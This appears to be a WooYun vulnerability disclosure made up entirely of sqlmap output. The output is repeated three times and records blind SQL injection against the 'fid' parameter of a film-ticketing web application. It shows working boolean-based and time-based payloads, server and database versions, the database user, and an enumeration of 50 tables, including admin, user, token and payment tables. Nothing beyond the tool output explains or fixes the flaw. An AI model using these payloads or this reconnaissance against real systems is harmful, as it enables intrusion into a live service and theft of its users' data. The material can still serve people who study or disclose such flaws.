WooYun.org

sqlmap identified the following injection points with a total of 169 HTTP(s) requests:
---
Parameter: fid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: a=filmdetail&c=film&m=web&fid=5452' AND 1072=1072 AND 'VGcO'='VGcO
    Vector: AND [INFERENCE]
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: a=filmdetail&c=film&m=web&fid=5452' AND SLEEP(5) AND 'BSKe'='BSKe
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
web application technology: PHP 5.4.35
back-end DBMS: MySQL 5.0.12
current user:    'app_weiying@%'
current database:    'app_weiying'
current user is DBA:    False
available databases [3]:
[*] app_weiying
[*] information_schema
[*] test
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: fid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: a=filmdetail&c=film&m=web&fid=5452' AND 1072=1072 AND 'VGcO'='VGcO
    Vector: AND [INFERENCE]
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: a=filmdetail&c=film&m=web&fid=5452' AND SLEEP(5) AND 'BSKe'='BSKe
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
back-end DBMS: MySQL 5.0.12
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: fid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: a=filmdetail&c=film&m=web&fid=5452' AND 1072=1072 AND 'VGcO'='VGcO
    Vector: AND [INFERENCE]
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: a=filmdetail&c=film&m=web&fid=5452' AND SLEEP(5) AND 'BSKe'='BSKe
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
web application technology: PHP 5.4.35, Nginx
back-end DBMS: MySQL 5.0.12
Database: app_weiying
[50 tables]
+-----------------------------+
| !omment_like                |
| comment                     |
| comment_reply               |
| film_seen                   |
| film_want                   |
| t_weiying_banner            |
| t_weiying_order             |
| weiying_active              |
| weiying_activites           |
| weiying_ad                  |
| weiying_admin               |
| weiying_admin_panel         |
| weiying_admin_role          |
| weiying_admin_role_priv     |
| weiying_area                |
| weiying_certificate         |
| weiying_cinema              |
| weiying_city                |
| weiying_code                |
| weiying_copywriting         |
| weiying_device              |
| weiying_evallike            |
| weiying_evaluation          |
| weiying_fctable             |
| weiying_feedback            |
| weiying_film                |
| weiying_grouponticket_order |
| weiying_groupticket         |
| weiying_hall                |
| weiying_menu                |
| weiying_notice              |
| weiying_order               |
| weiying_order_stream        |
| weiying_paytemp             |
| weiying_poster              |
| weiying_praise              |
| weiying_preuve              |
| weiying_reply               |
| weiying_sche                |
| weiying_scheseat            |
| weiying_scheseat_new        |
| weiying_seats               |
| weiying_see                 |
| weiying_show                |
| weiying_tagephoto           |
| weiying_ticket              |
| weiying_token               |
| weiying_user                |
| weiying_versions            |
| weiying_webad               |
+-----------------------------+